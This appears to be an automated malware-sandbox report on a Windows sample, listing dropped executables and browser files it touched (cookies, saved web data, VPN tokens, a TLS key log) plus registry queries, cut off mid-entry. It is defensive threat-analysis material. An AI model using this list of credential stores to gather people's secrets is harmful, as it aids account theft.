"data_1" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\GPUCache\data_1]- [targetUID: 00000000-00003748] "86334b71-a816-420c-a5a5-cd92f8a5de37.tmp" has type "gzip compressed data from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 18820"- Location: [%TEMP%\86334b71-a816-420c-a5a5-cd92f8a5de37.tmp]- [targetUID: 00000000-00003748] "2cc93fb6fc93f451_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\2cc93fb6fc93f451_0]- [targetUID: 00000000-00003748] "f_0004c8" has type "gzip compressed data original size modulo 2^32 774067"- [targetUID: N/A] "7kbPrIAFdNnuctq7" has type "SQLite 3.x database user version 4 last written using SQLite version 3020001"- [targetUID: N/A] "History" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\History]- [targetUID: 00000000-00000700] "data_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_0]- [targetUID: 00000000-00003748] "r7zQQwhb72PgBdGz" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%TEMP%\r7zQQwhb72PgBdGz]- [targetUID: 00000000-00007348] "Web Data" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Web Data]- [targetUID: 00000000-00003748] "Visited Links" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Visited Links]- [targetUID: 00000000-00003748] "Tabs_13341691278697529" has type "data"- [targetUID: N/A] "f_0004c3" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0004c3]- [targetUID: 00000000-00004992] "6baff995-439d-459e-8472-955fd69db5ab.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\6baff995-439d-459e-8472-955fd69db5ab.tmp]- [targetUID: 00000000-00003748] "d5b985f7-7ca9-48a4-b1cc-1a4cc806763e.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "f8ada3bf-7368-4fe8-970d-17d6400f5b63.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "7371e8d6-78f1-4f44-ae0a-0512a941c29a.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "fa93e11d-7584-4b78-abca-a5ad16845cda.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "dbe97c4dfe38adee_0" has type "data"- [targetUID: N/A] "f_0004c4" has type "gzip compressed data original size modulo 2^32 211431"- [targetUID: N/A] "sslkey.txt" has type "ASCII text"- Location: [%TEMP%\sslkey.txt]- [targetUID: 00000000-00003748] "00b08b1da7252a5d_0" has type "data"- [targetUID: N/A] "urlref_httpswww.facebook.comlogin" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "267162600b962caa_0" has type "data"- [targetUID: N/A] "000004.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000004.log]- [targetUID: 00000000-00003748] "dce1006f15471e5c_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\dce1006f15471e5c_0]- [targetUID: 00000000-00003748] "Cookies" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies]- [targetUID: 00000000-00007348] "eb5VqbZwSamqjKt1" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%TEMP%\eb5VqbZwSamqjKt1]- [targetUID: 00000000-00007348] "Favicons" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Favicons]- [targetUID: 00000000-00003748] "f4b96565b137a36c_0" has type "data"- [targetUID: N/A] "Reporting and NEL" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Reporting and NEL]- [targetUID: 00000000-00004992] "f_0004c7" has type "gzip compressed data original size modulo 2^32 112642"- [targetUID: N/A] "4d21b3915218e5af_0" has type "data"- [targetUID: N/A] "Vpn Tokens" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Vpn Tokens]- [targetUID: 00000000-00003748] "90211cfb5c18667b_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\90211cfb5c18667b_0]- [targetUID: 00000000-00003748] "000003.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log]- [targetUID: 00000000-00003748] "fc9b13e23a94c4ea_0" has type "data"- [targetUID: N/A] "50c9f945-e1ad-4ba7-bcde-249e231fd372.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "6ac20ad5-a848-465c-b207-db476b719e0c.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\6ac20ad5-a848-465c-b207-db476b719e0c.tmp]- [targetUID: 00000000-00003748] "cdc72266-c6ee-49de-b8d2-819b90d3905c.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\cdc72266-c6ee-49de-b8d2-819b90d3905c.tmp]- [targetUID: 00000000-00003748] "b48edc18-8366-4609-b43d-73379960006c.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\b48edc18-8366-4609-b43d-73379960006c.tmp]- [targetUID: 00000000-00003748] "7269e99d-b013-42fe-9614-cc344e75bc34.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\7269e99d-b013-42fe-9614-cc344e75bc34.tmp]- [targetUID: 00000000-00003748] "95e33a1c-64de-4b05-8948-9c8310fe0953.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "3dcf6095-da7a-4256-8556-22f416f9e87b.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\3dcf6095-da7a-4256-8556-22f416f9e87b.tmp]- [targetUID: 00000000-00003748] "f_0004c6" has type "Web Open Font Format (Version 2) TrueType length 21700 version 1.0"- [targetUID: N/A] "f_0004c5" has type "Web Open Font Format (Version 2) TrueType length 21464 version 1.0"- [targetUID: N/A] "c1dd27d5df6f3fca_0" has type "data"- [targetUID: N/A] "04060c7c719f08e5_0" has type "data"- [targetUID: N/A] "arbitration_service_config.json" has type "ASCII text with very long lines with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\arbitration_service_config.json]- [targetUID: 00000000-00003748] "7faaeb6d807041bb_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\7faaeb6d807041bb_0]- [targetUID: 00000000-00003748] "8fbfc6486a605190_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\8fbfc6486a605190_0]- [targetUID: 00000000-00003748] "temp-index" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index]- [targetUID: 00000000-00003748] "Session_13341691263208356" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Sessions\Session_13341691263208356]- [targetUID: 00000000-00003748] "7ad6ddeb673e39fc_0" has type "data"- [targetUID: N/A] "cccb49453115859a_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\cccb49453115859a_0]- [targetUID: 00000000-00003748] "4b1691c2d8c552f5_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\4b1691c2d8c552f5_0]- [targetUID: 00000000-00003748] "000003.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log]- [targetUID: 00000000-00003748] "000004.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Session Storage\000004.log]- [targetUID: 00000000-00003748] "5948d60f-c586-4892-9596-5d69da6a9153.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\5948d60f-c586-4892-9596-5d69da6a9153.tmp]- [targetUID: 00000000-00004992] "986f3f23-1952-4c2e-9380-215b8d4ed47f.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\986f3f23-1952-4c2e-9380-215b8d4ed47f.tmp]- [targetUID: 00000000-00004992] "49d0896e54e4faca_0" has type "data"- [targetUID: N/A] "33844b534d0900f7_0" has type "data"- [targetUID: N/A] "196d06a048ede516_0" has type "data"- [targetUID: N/A] "4945a7b4b1e84510_0" has type "data"- [targetUID: N/A] "b90ad074041b8532_0" has type "data"- [targetUID: N/A] "c489c1cd-6f9d-4a4c-9c06-d0a46be7420d.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\c489c1cd-6f9d-4a4c-9c06-d0a46be7420d.tmp]- [targetUID: 00000000-00004992] "65aa81b0-5695-4b1a-af78-00e7fecda6d3.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\65aa81b0-5695-4b1a-af78-00e7fecda6d3.tmp]- [targetUID: 00000000-00004992] "a3744439-bb36-4d9b-b402-6c179279b7f2.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\a3744439-bb36-4d9b-b402-6c179279b7f2.tmp]- [targetUID: 00000000-00004992] "25898d46-911c-4c63-9753-415142b54dc5.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\25898d46-911c-4c63-9753-415142b54dc5.tmp]- [targetUID: 00000000-00004992] "1544b7ae-cf00-48e8-951f-202267d7854e.tmp" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\1544b7ae-cf00-48e8-951f-202267d7854e.tmp]- [targetUID: 00000000-00004992] "b2be3cbeb9be83fe_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\b2be3cbeb9be83fe_0]- [targetUID: 00000000-00003748] "f6a4f247dbf4d697c26b375e3580d6053baf25f5.tbres" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\TokenBroker\Cache\f6a4f247dbf4d697c26b375e3580d6053baf25f5.tbres]- [targetUID: 00000000-00003748] "40701b42ebc1cb18_0" has type "data"- [targetUID: N/A] "000003.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log]- [targetUID: 00000000-00003748] "000003.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log]- [targetUID: 00000000-00003748] "4b4248b410f3ad35_0" has type "data"- [targetUID: N/A] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG]- [targetUID: 00000000-00003748] "MANIFEST-000001" has type "PGP Secret Key -"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001]- [targetUID: 00000000-00003748] "28b02a37f3225d39_0" has type "data"- [targetUID: N/A] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG]- [targetUID: 00000000-00003748] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG]- [targetUID: 00000000-00003748] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG]- [targetUID: 00000000-00003748] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Platform Notifications\LOG]- [targetUID: 00000000-00003748] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG]- [targetUID: 00000000-00003748] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG]- [targetUID: 00000000-00003748] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG]- [targetUID: 00000000-00003748] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extension State\LOG]- [targetUID: 00000000-00003748] "LOG" has type "ASCII text"- [targetUID: 00000000-00003748] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\shared_proto_db\LOG]- [targetUID: 00000000-00003748] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG]- [targetUID: 00000000-00003748] "b82f7a3c7717deae_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\b82f7a3c7717deae_0]- [targetUID: 00000000-00003748] "d3a8aa03cdda30dd_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\d3a8aa03cdda30dd_0]- [targetUID: 00000000-00003748] "ef0d38d159e5de45_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\ef0d38d159e5de45_0]- [targetUID: 00000000-00003748] "f7b69c1ee8c2c1e5_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\f7b69c1ee8c2c1e5_0]- [targetUID: 00000000-00003748] "5a5eababf1b02419_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\5a5eababf1b02419_0]- [targetUID: 00000000-00003748] "9cc335c1bba319e7_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\9cc335c1bba319e7_0]- [targetUID: 00000000-00003748] "53329d34bdb2bbd5_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\53329d34bdb2bbd5_0]- [targetUID: 00000000-00003748] "2d5e60485d3cc52e_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\2d5e60485d3cc52e_0]- [targetUID: 00000000-00003748] "32b93bb309c4f1d6_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\32b93bb309c4f1d6_0]- [targetUID: 00000000-00003748] "42f4c516cc7fb026_0" has type "data"- [targetUID: N/A] "5949b3541284f461_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\5949b3541284f461_0]- [targetUID: 00000000-00003748] "settings.dat" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Crashpad\settings.dat]- [targetUID: 00000000-00003748] "Last Browser" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Last Browser]- [targetUID: 00000000-00003748] "Variations" has type "JSON data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Variations]- [targetUID: 00000000-00003748] "000012.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000012.log]- [targetUID: 00000000-00003748] "MANIFEST-000001" has type "PGP Secret Key -"- [targetUID: 00000000-00003748] "000001.dbtmp" has type "ASCII text"- [targetUID: N/A] "Last Version" has type "ASCII text with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Last Version]- [targetUID: 00000000-00003748] "e1400fe4-0147-48ab-ab73-85009827ffd7.tmp" has type "very short file (no magic)"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\e1400fe4-0147-48ab-ab73-85009827ffd7.tmp]- [targetUID: 00000000-00003748] "foto3553_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "spSq6zjfkzXbD0K.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\spSq6zjfkzXbD0K.exe]- [targetUID: 00000000-00007348] "sus_1_.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- [targetUID: N/A] "91NL8LQzC2Bqri4.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\91NL8LQzC2Bqri4.exe]- [targetUID: 00000000-00007348] "explothe.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\fefffe8cea\explothe.exe]- [targetUID: 00000000-00004736] "explothe.exe.bin" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "clip64.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%APPDATA%\006700e5a2ab05\clip64.dll]- [targetUID: 00000000-00002144] "2_1_.ps1" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "917cf37e-4e5a-48f9-b6b2-077651c12fa7.tmp" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A]59:Tfb1,"86334b71-a816-420c-a5a5-cd92f8a5de37.tmp" has type "gzip compressed data from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 18820" - Location: [%TEMP%\86334b71-a816-420c-a5a5-cd92f8a5de37.tmp] "6baff995-439d-459e-8472-955fd69db5ab.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\6baff995-439d-459e-8472-955fd69db5ab.tmp] "d5b985f7-7ca9-48a4-b1cc-1a4cc806763e.tmp" has type "ASCII text with very long lines with no line terminators" "f8ada3bf-7368-4fe8-970d-17d6400f5b63.tmp" has type "ASCII text with very long lines with no line terminators" "7371e8d6-78f1-4f44-ae0a-0512a941c29a.tmp" has type "ASCII text with very long lines with no line terminators" "fa93e11d-7584-4b78-abca-a5ad16845cda.tmp" has type "ASCII text with very long lines with no line terminators" "50c9f945-e1ad-4ba7-bcde-249e231fd372.tmp" has type "ASCII text with very long lines with no line terminators" "6ac20ad5-a848-465c-b207-db476b719e0c.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\6ac20ad5-a848-465c-b207-db476b719e0c.tmp] "cdc72266-c6ee-49de-b8d2-819b90d3905c.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\cdc72266-c6ee-49de-b8d2-819b90d3905c.tmp] "b48edc18-8366-4609-b43d-73379960006c.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\b48edc18-8366-4609-b43d-73379960006c.tmp] "7269e99d-b013-42fe-9614-cc344e75bc34.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\7269e99d-b013-42fe-9614-cc344e75bc34.tmp] "95e33a1c-64de-4b05-8948-9c8310fe0953.tmp" has type "ASCII text with very long lines with no line terminators" "3dcf6095-da7a-4256-8556-22f416f9e87b.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\3dcf6095-da7a-4256-8556-22f416f9e87b.tmp] "5948d60f-c586-4892-9596-5d69da6a9153.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\5948d60f-c586-4892-9596-5d69da6a9153.tmp] "986f3f23-1952-4c2e-9380-215b8d4ed47f.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\986f3f23-1952-4c2e-9380-215b8d4ed47f.tmp] "c489c1cd-6f9d-4a4c-9c06-d0a46be7420d.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\c489c1cd-6f9d-4a4c-9c06-d0a46be7420d.tmp] "65aa81b0-5695-4b1a-af78-00e7fecda6d3.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\65aa81b0-5695-4b1a-af78-00e7fecda6d3.tmp] "a3744439-bb36-4d9b-b402-6c179279b7f2.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\a3744439-bb36-4d9b-b402-6c179279b7f2.tmp] "25898d46-911c-4c63-9753-415142b54dc5.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\25898d46-911c-4c63-9753-415142b54dc5.tmp] "1544b7ae-cf00-48e8-951f-202267d7854e.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\1544b7ae-cf00-48e8-951f-202267d7854e.tmp] "e1400fe4-0147-48ab-ab73-85009827ffd7.tmp" has type "very short file (no magic)" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\e1400fe4-0147-48ab-ab73-85009827ffd7.tmp] "917cf37e-4e5a-48f9-b6b2-077651c12fa7.tmp" has type "ASCII text with very long lines with no line terminators"5a:T870,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: ""; Value: "")5b:T108f,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "NEAS.NEASNEAS815E73851B67490BA866A92E59EFE6ACBDEC4BECF30772CF52107E14F56D0077EXEEXEEXE"; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" (Access type: "QUERYVAL"; Path: 